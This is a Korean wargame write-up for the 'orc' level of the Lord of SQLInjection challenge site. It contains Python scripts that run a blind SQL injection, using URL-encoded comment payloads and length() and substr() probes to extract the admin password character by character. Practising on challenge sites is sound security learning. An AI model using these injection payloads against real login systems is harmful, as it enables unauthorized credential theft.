728x90
* addslashes() 함수 : 데이터베이스의 질의에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환한다.
1. 실행이 안되는 거 확인
# 을 평문으로 입력 했을 때, 주석 처리가 안된다. -> %23으로 인코딩해서 보내면 주석으로 인식됨(URL 인코딩)
2. admin의 pw 을 찾아야 한다.(페이로드 작성)
2.1 해당 url이 정상적으로 작동되는지 확인
import requests #모듈
# 해당 url 주소
url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
# cookie 값 설정
cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'}
# response 값 req 변수에 저장
req = requests.get(url,cookies=cookies)
# 상태 코드 확인 및 응답 값 출력
print(req.status_code)
print(req.text)
2.2 pw 길이 값 구하기
import requests
url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'}
# 패스워드 길이 구하기
for i in range(1,10):
params = "pw='or length(pw)="+str(i)+"and id='admin'%23"
req = requests.get(url,cookies=cookies,params=params)
if "Hello admin" in req.text:
print("패스워드 길이는 ",i)
2.3 pw 값 구하기 (pw 4번째 값 이상함.... )
import requests
import string
string = string.ascii_letters + string.digits
url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'}
ch = ''
# pw 값 구하기
for i in range(1,9):
for j in string:
params = "pw='or substr(pw,"+str(i)+",1)="+str(j)+" and id='admin'%23"
req = requests.get(url,cookies=cookies,params=params)
if "Hello admin" in req.text:
ch += j
print(ch)
break
2.4 구한 pw 입력